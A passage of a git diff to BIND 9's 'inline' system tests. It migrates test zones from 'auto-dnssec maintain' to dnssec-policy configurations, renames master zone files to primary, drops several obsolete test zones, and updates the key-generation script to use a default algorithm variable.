+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -29,6 +31,7 @@ options {
 	notify yes;
 	notify-delay 0;
 	allow-new-zones yes;
+	dnssec-validation no;
 };
 
 zone "bits" {
@@ -44,32 +47,12 @@ zone "retransfer" {
 	notify no;
 };
 
-zone "retransfer3" {
-	type primary;
-	file "retransfer3.db";
-	allow-update { any; };
-	allow-transfer { none; };	// changed dynamically by tests.sh
-	notify no;
-};
-
 zone "nsec3-loop" {
 	type primary;
 	file "nsec3-loop.db";
 	notify no;
 };
 
-zone "inactiveksk" {
-	type primary;
-	file "inactiveksk.db";
-	allow-update { any; };
-};
-
-zone "inactivezsk" {
-	type primary;
-	file "inactivezsk.db";
-	allow-update { any; };
-};
-
 zone "nokeys" {
 	type primary;
 	file "nokeys.db";
diff --git a/bin/tests/system/inline/ns2/nsec3-loop.db.in b/bin/tests/system/inline/ns2/nsec3-loop.db.in
index ba0db9d3e9..d12af8d4b6 100644
--- a/bin/tests/system/inline/ns2/nsec3-loop.db.in
+++ b/bin/tests/system/inline/ns2/nsec3-loop.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/inline/ns3/delayedkeys.conf.1 b/bin/tests/system/inline/ns3/delayedkeys.conf.1
new file mode 100644
index 0000000000..72ed2aa317
--- /dev/null
+++ b/bin/tests/system/inline/ns3/delayedkeys.conf.1
@@ -0,0 +1,19 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "delayedkeys" {
+	type primary;
+	file "delayedkeys.db";
+	inline-signing yes;
+	dnssec-policy insecure;
+};
diff --git a/bin/tests/system/inline/ns3/delayedkeys.conf.2 b/bin/tests/system/inline/ns3/delayedkeys.conf.2
new file mode 100644
index 0000000000..fa7cbcd8b3
--- /dev/null
+++ b/bin/tests/system/inline/ns3/delayedkeys.conf.2
@@ -0,0 +1,19 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "delayedkeys" {
+	type primary;
+	file "delayedkeys.db";
+	inline-signing yes;
+	dnssec-policy inline;
+};
diff --git a/bin/tests/system/inline/ns3/include.db.in b/bin/tests/system/inline/ns3/include.db.in
index 7468708387..c46a6a80fd 100644
--- a/bin/tests/system/inline/ns3/include.db.in
+++ b/bin/tests/system/inline/ns3/include.db.in
@@ -1 +1,12 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 f		A	10.0.0.7
diff --git a/bin/tests/system/inline/ns3/master.db.in b/bin/tests/system/inline/ns3/master.db.in
deleted file mode 100644
index 67e1510de4..0000000000
--- a/bin/tests/system/inline/ns3/master.db.in
+++ /dev/null
@@ -1,19 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300	; 5 minutes
-@			IN SOA	ns3 . (
-				2000042407 ; serial
-				20         ; refresh (20 seconds)
-				20         ; retry (20 seconds)
-				1814400    ; expire (3 weeks)
-				3600       ; minimum (1 hour)
-				)
-			NS	ns3
-ns3			A	10.53.0.3
diff --git a/bin/tests/system/inline/ns3/master2.db.in b/bin/tests/system/inline/ns3/master2.db.in
deleted file mode 100644
index 1bbeb9d944..0000000000
--- a/bin/tests/system/inline/ns3/master2.db.in
+++ /dev/null
@@ -1,21 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300	; 5 minutes
-@			IN SOA	ns3 . (
-				2000042408 ; serial
-				20         ; refresh (20 seconds)
-				20         ; retry (20 seconds)
-				1814400    ; expire (3 weeks)
-				3600       ; minimum (1 hour)
-				)
-			NS	ns3
-ns3			A	10.53.0.3
-
-e			A	10.0.0.5
diff --git a/bin/tests/system/inline/ns3/master3.db.in b/bin/tests/system/inline/ns3/master3.db.in
deleted file mode 100644
index f78a950bfd..0000000000
--- a/bin/tests/system/inline/ns3/master3.db.in
+++ /dev/null
@@ -1,22 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300	; 5 minutes
-@			IN SOA	ns3 . (
-				2000042409 ; serial
-				20         ; refresh (20 seconds)
-				20         ; retry (20 seconds)
-				1814400    ; expire (3 weeks)
-				3600       ; minimum (1 hour)
-				)
-			NS	ns3
-ns3			A	10.53.0.3
-
-c			A	10.0.0.3
-e			A	10.0.0.5
diff --git a/bin/tests/system/inline/ns3/master4.db.in b/bin/tests/system/inline/ns3/master4.db.in
deleted file mode 100644
index 0dc04a9d81..0000000000
--- a/bin/tests/system/inline/ns3/master4.db.in
+++ /dev/null
@@ -1,22 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300	; 5 minutes
-@			IN SOA	ns3 hostmaster. (
-				2000042410 ; serial
-				20         ; refresh (20 seconds)
-				20         ; retry (20 seconds)
-				1814400    ; expire (3 weeks)
-				3600       ; minimum (1 hour)
-				)
-			NS	ns3
-ns3			A	10.53.0.3
-
-c			A	10.0.0.3
-e			A	10.0.0.5
diff --git a/bin/tests/system/inline/ns3/master5.db.in b/bin/tests/system/inline/ns3/master5.db.in
deleted file mode 100644
index 9bad59178c..0000000000
--- a/bin/tests/system/inline/ns3/master5.db.in
+++ /dev/null
@@ -1,22 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300	; 5 minutes
-@			IN SOA	ns3 . (
-				2000042411 ; serial
-				20         ; refresh (20 seconds)
-				20         ; retry (20 seconds)
-				1814400    ; expire (3 weeks)
-				3600       ; minimum (1 hour)
-				)
-			NS	ns3
-ns3			A	10.53.0.3
-
-c			A	10.0.0.3
-e			A	10.0.0.5
diff --git a/bin/tests/system/inline/ns3/master6.db.in b/bin/tests/system/inline/ns3/master6.db.in
deleted file mode 100644
index 5cdb504bc9..0000000000
--- a/bin/tests/system/inline/ns3/master6.db.in
+++ /dev/null
@@ -1,24 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300	; 5 minutes
-@			IN SOA	ns3 . (
-				2000042412 ; serial
-				20         ; refresh (20 seconds)
-				20         ; retry (20 seconds)
-				1814400    ; expire (3 weeks)
-				3600       ; minimum (1 hour)
-				)
-			NS	ns3
-ns3			A	10.53.0.3
-
-c			A	10.0.0.3
-e			A	10.0.0.5
-
-$INCLUDE missingfile.db
diff --git a/bin/tests/system/inline/ns3/master7.db.in b/bin/tests/system/inline/ns3/master7.db.in
deleted file mode 100644
index cec8ad7efc..0000000000
--- a/bin/tests/system/inline/ns3/master7.db.in
+++ /dev/null
@@ -1,24 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300	; 5 minutes
-@			IN SOA	ns3 . (
-				2000042412 ; serial
-				20         ; refresh (20 seconds)
-				20         ; retry (20 seconds)
-				1814400    ; expire (3 weeks)
-				3600       ; minimum (1 hour)
-				)
-			NS	ns3
-ns3			A	10.53.0.3
-
-c			A	10.0.0.3
-e			A	10.0.0.5
-
-$INCLUDE include.db
diff --git a/bin/tests/system/inline/ns3/named.conf.in b/bin/tests/system/inline/ns3/named.conf.in
index 8ccfaf7d2f..836d915f15 100644
--- a/bin/tests/system/inline/ns3/named.conf.in
+++ b/bin/tests/system/inline/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -30,13 +32,38 @@ options {
 	try-tcp-refresh no;
 	notify-delay 0;
 	allow-new-zones yes;
+	dnssec-validation no;
+};
+
+dnssec-policy "inline" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+};
+
+dnssec-policy "nsec3" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+	nsec3param iterations 0 optout no salt-length 0;
+};
+
+dnssec-policy "external" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		ksk key-directory lifetime unlimited algorithm @ALTERNATIVE_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @ALTERNATIVE_ALGORITHM@;
+	};
 };
 
 zone "bits" {
 	type secondary;
 	primaries { 10.53.0.2; };
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	allow-update-forwarding { any; };
 	file "bits.bk";
 	sig-signing-signatures 1;	// force incremental processing
@@ -48,16 +75,16 @@ zone "noixfr" {
 	type secondary;
 	primaries { 10.53.0.4; };
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	allow-update-forwarding { any; };
 	file "noixfr.bk";
 };
 
-zone "master" {
+zone "primary" {
 	type primary;
 	inline-signing yes;
-	auto-dnssec maintain;
-	file "master.db";
+	dnssec-policy inline;
+	file "primary.db";
 	notify explicit;
 	also-notify {
 		10.53.0.3;
@@ -67,7 +94,7 @@ zone "master" {
 zone "dynamic" {
 	type primary;
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	allow-update { any; };
 	file "dynamic.db";
 };
@@ -75,7 +102,7 @@ zone "dynamic" {
 zone "updated" {
 	type primary;
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	allow-update { none; };
 	file "updated.db";
 };
@@ -83,7 +110,7 @@ zone "updated" {
 zone "expired" {
 	type primary;
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	allow-update { any; };
 	file "expired.db";
 };
@@ -92,14 +119,14 @@ zone "retransfer" {
 	type secondary;
 	primaries { 10.53.0.2; };
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	file "retransfer.bk";
 };
 
 zone "nsec3" {
 	type primary;
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy nsec3;
 	allow-update { any; };
 	file "nsec3.db";
 };
@@ -107,55 +134,23 @@ zone "nsec3" {
 zone "externalkey" {
 	type primary;
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy external;
 	allow-update { any; };
 	file "externalkey.db";
 };
 
-zone "retransfer3" {
-	type secondary;
-	primaries { 10.53.0.2; };
-	inline-signing yes;
-	auto-dnssec maintain;
-	file "retransfer3.bk";
-};
-
-zone "inactiveksk" {
-	type secondary;
-	primaries { 10.53.0.2; };
-	inline-signing yes;
-	auto-dnssec maintain;
-	dnssec-dnskey-kskonly yes;
-	file "inactiveksk.bk";
-};
-
-zone "inactivezsk" {
-	type secondary;
-	primaries { 10.53.0.2; };
-	inline-signing yes;
-	auto-dnssec maintain;
-	file "inactivezsk.bk";
-};
-
 zone "nokeys" {
 	type secondary;
 	primaries { 10.53.0.2; };
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy insecure;
 	file "nokeys.bk";
 };
 
-zone "delayedkeys" {
-	type primary;
-	inline-signing yes;
-	auto-dnssec maintain;
-	file "delayedkeys.db";
-};
-
 zone "removedkeys-primary" {
 	type primary;
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	allow-update { any; };
 	also-notify { 10.53.0.2; };
 	file "removedkeys-primary.db";
@@ -165,7 +160,7 @@ zone "removedkeys-secondary" {
 	type secondary;
 	primaries { 10.53.0.2; };
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	file "removedkeys-secondary.bk";
 };
 
@@ -173,5 +168,7 @@ zone "unsupported" {
 	type primary;
 	file "unsupported.db";
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 };
+
+include "delayedkeys.conf";
diff --git a/bin/tests/system/inline/ns3/primary.db.in b/bin/tests/system/inline/ns3/primary.db.in
new file mode 100644
index 0000000000..4d30cf6e73
--- /dev/null
+++ b/bin/tests/system/inline/ns3/primary.db.in
@@ -0,0 +1,21 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA	ns3 . (
+				2000042407 ; serial
+				20         ; refresh (20 seconds)
+				20         ; retry (20 seconds)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+			NS	ns3
+ns3			A	10.53.0.3
diff --git a/bin/tests/system/inline/ns3/primary2.db.in b/bin/tests/system/inline/ns3/primary2.db.in
new file mode 100644
index 0000000000..24a06664e6
--- /dev/null
+++ b/bin/tests/system/inline/ns3/primary2.db.in
@@ -0,0 +1,23 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA	ns3 . (
+				2000042408 ; serial
+				20         ; refresh (20 seconds)
+				20         ; retry (20 seconds)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+			NS	ns3
+ns3			A	10.53.0.3
+
+e			A	10.0.0.5
diff --git a/bin/tests/system/inline/ns3/primary3.db.in b/bin/tests/system/inline/ns3/primary3.db.in
new file mode 100644
index 0000000000..f3062c3559
--- /dev/null
+++ b/bin/tests/system/inline/ns3/primary3.db.in
@@ -0,0 +1,24 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA	ns3 . (
+				2000042409 ; serial
+				20         ; refresh (20 seconds)
+				20         ; retry (20 seconds)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+			NS	ns3
+ns3			A	10.53.0.3
+
+c			A	10.0.0.3
+e			A	10.0.0.5
diff --git a/bin/tests/system/inline/ns3/primary4.db.in b/bin/tests/system/inline/ns3/primary4.db.in
new file mode 100644
index 0000000000..737e2e2188
--- /dev/null
+++ b/bin/tests/system/inline/ns3/primary4.db.in
@@ -0,0 +1,24 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA	ns3 hostmaster. (
+				2000042410 ; serial
+				20         ; refresh (20 seconds)
+				20         ; retry (20 seconds)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+			NS	ns3
+ns3			A	10.53.0.3
+
+c			A	10.0.0.3
+e			A	10.0.0.5
diff --git a/bin/tests/system/inline/ns3/primary5.db.in b/bin/tests/system/inline/ns3/primary5.db.in
new file mode 100644
index 0000000000..a1e130061c
--- /dev/null
+++ b/bin/tests/system/inline/ns3/primary5.db.in
@@ -0,0 +1,24 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA	ns3 . (
+				2000042411 ; serial
+				20         ; refresh (20 seconds)
+				20         ; retry (20 seconds)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+			NS	ns3
+ns3			A	10.53.0.3
+
+c			A	10.0.0.3
+e			A	10.0.0.5
diff --git a/bin/tests/system/inline/ns3/primary6.db.in b/bin/tests/system/inline/ns3/primary6.db.in
new file mode 100644
index 0000000000..de3e651d9c
--- /dev/null
+++ b/bin/tests/system/inline/ns3/primary6.db.in
@@ -0,0 +1,26 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA	ns3 . (
+				2000042412 ; serial
+				20         ; refresh (20 seconds)
+				20         ; retry (20 seconds)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+			NS	ns3
+ns3			A	10.53.0.3
+
+c			A	10.0.0.3
+e			A	10.0.0.5
+
+$INCLUDE missingfile.db
diff --git a/bin/tests/system/inline/ns3/primary7.db.in b/bin/tests/system/inline/ns3/primary7.db.in
new file mode 100644
index 0000000000..a3e33e705c
--- /dev/null
+++ b/bin/tests/system/inline/ns3/primary7.db.in
@@ -0,0 +1,26 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA	ns3 . (
+				2000042412 ; serial
+				20         ; refresh (20 seconds)
+				20         ; retry (20 seconds)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+			NS	ns3
+ns3			A	10.53.0.3
+
+c			A	10.0.0.3
+e			A	10.0.0.5
+
+$INCLUDE include.db
diff --git a/bin/tests/system/inline/ns3/sign.sh b/bin/tests/system/inline/ns3/sign.sh
index ea8bc18340..e9b8ded98b 100755
--- a/bin/tests/system/inline/ns3/sign.sh
+++ b/bin/tests/system/inline/ns3/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -19,139 +21,114 @@ mv ${unsupportedkey}.tmp ${unsupportedkey}.key
 zone=bits
 rm -f K${zone}.+*+*.key
 rm -f K${zone}.+*+*.private
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone $zone`
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone -f KSK $zone`
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone -f KSK $zone)
 $DSFROMKEY -T 1200 $keyname >> ../ns1/root.db
 
 zone=noixfr
 rm -f K${zone}.+*+*.key
 rm -f K${zone}.+*+*.private
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone $zone`
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone -f KSK $zone`
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone -f KSK $zone)
 $DSFROMKEY -T 1200 $keyname >> ../ns1/root.db
 
-zone=master
+zone=primary
 rm -f K${zone}.+*+*.key
 rm -f K${zone}.+*+*.private
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone $zone`
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone -f KSK $zone`
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone -f KSK $zone)
 $DSFROMKEY -T 1200 $keyname >> ../ns1/root.db
 
 zone=dynamic
 rm -f K${zone}.+*+*.key
 rm -f K${zone}.+*+*.private
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone $zone`
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone -f KSK $zone`
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone -f KSK $zone)
 $DSFROMKEY -T 1200 $keyname >> ../ns1/root.db
 
 zone=updated
 rm -f K${zone}.+*+*.key
 rm -f K${zone}.+*+*.private
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone $zone`
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone -f KSK $zone`
-$DSFROMKEY -T 1200 $keyname >> ../ns1/root.db
-$SIGNER -S -O raw -L 2000042407 -o ${zone} ${zone}.db > /dev/null
-cp master2.db.in updated.db
+zsk=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
+ksk=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone -f KSK $zone)
+$SETTIME -s -g OMNIPRESENT -k RUMOURED now -z RUMOURED now "$zsk" > settime.out.updated.1 2>&1
+$SETTIME -s -g OMNIPRESENT -k RUMOURED now -r RUMOURED now -d HIDDEN now "$ksk" > settime.out.updated.2 2>&1
+$DSFROMKEY -T 1200 $ksk >> ../ns1/root.db
+$SIGNER -S -x -O raw -L 2000042407 -o ${zone} ${zone}.db > /dev/null
+cp primary2.db.in updated.db
 
 # signatures are expired and should be regenerated on startup
 zone=expired
 rm -f K${zone}.+*+*.key
 rm -f K${zone}.+*+*.private
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone $zone`
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone -f KSK $zone`
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone -f KSK $zone)
 $DSFROMKEY -T 1200 $keyname >> ../ns1/root.db
 $SIGNER -PS -s 20100101000000 -e 20110101000000 -O raw -L 2000042407 -o ${zone} ${zone}.db > /dev/null
 
 zone=retransfer
 rm -f K${zone}.+*+*.key
 rm -f K${zone}.+*+*.private
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone $zone`
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone -f KSK $zone`
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone -f KSK $zone)
 $DSFROMKEY -T 1200 $keyname >> ../ns1/root.db
 
 zone=nsec3
 rm -f K${zone}.+*+*.key
 rm -f K${zone}.+*+*.private
-keyname=`$KEYGEN -q -a NSEC3RSASHA1 -b 1024 -n zone -f KSK $zone`
-$DSFROMKEY -T 1200 $keyname >> ../ns1/root.db
-
-zone=retransfer3
-rm -f K${zone}.+*+*.key
-rm -f K${zone}.+*+*.private
-keyname=`$KEYGEN -q -a NSEC3RSASHA1 -b 1024 -n zone $zone`
-keyname=`$KEYGEN -q -a NSEC3RSASHA1 -b 1024 -n zone -f KSK $zone`
-$DSFROMKEY -T 1200 $keyname >> ../ns1/root.db
-
-zone=inactiveksk
-rm -f K${zone}.+*+*.key
-rm -f K${zone}.+*+*.private
-keyname=`$KEYGEN -q -a NSEC3RSASHA1 -b 1024 -n zone $zone`
-keyname=`$KEYGEN -q -a NSEC3RSASHA1 -b 1024 -n zone -P now -A now+3600 -f KSK $zone`
-keyname=`$KEYGEN -q -a RSASHA256 -b 1024 -n zone $zone`
-keyname=`$KEYGEN -q -a RSASHA256 -b 1024 -n zone -f KSK $zone`
-$DSFROMKEY -T 1200 $keyname >> ../ns1/root.db
-
-zone=inactivezsk
-rm -f K${zone}.+*+*.key
-rm -f K${zone}.+*+*.private
-keyname=`$KEYGEN -q -a NSEC3RSASHA1 -b 1024 -n zone -P now -A now+3600 $zone`
-keyname=`$KEYGEN -q -a NSEC3RSASHA1 -b 1024 -n zone -f KSK $zone`
-keyname=`$KEYGEN -q -a RSASHA256 -b 1024 -n zone $zone`
-keyname=`$KEYGEN -q -a RSASHA256 -b 1024 -n zone -f KSK $zone`
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone -f KSK $zone)
 $DSFROMKEY -T 1200 $keyname >> ../ns1/root.db
 
 zone=delayedkeys
 rm -f K${zone}.+*+*.key
 rm -f K${zone}.+*+*.private
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone $zone`
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone -f KSK $zone`
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone -f KSK $zone)
 # Keys for the "delayedkeys" zone should not be initially accessible.
 mv K${zone}.+*+*.* ../
 
 zone=removedkeys-primary
 rm -f K${zone}.+*+*.key
 rm -f K${zone}.+*+*.private
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone $zone`
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone -f KSK $zone`
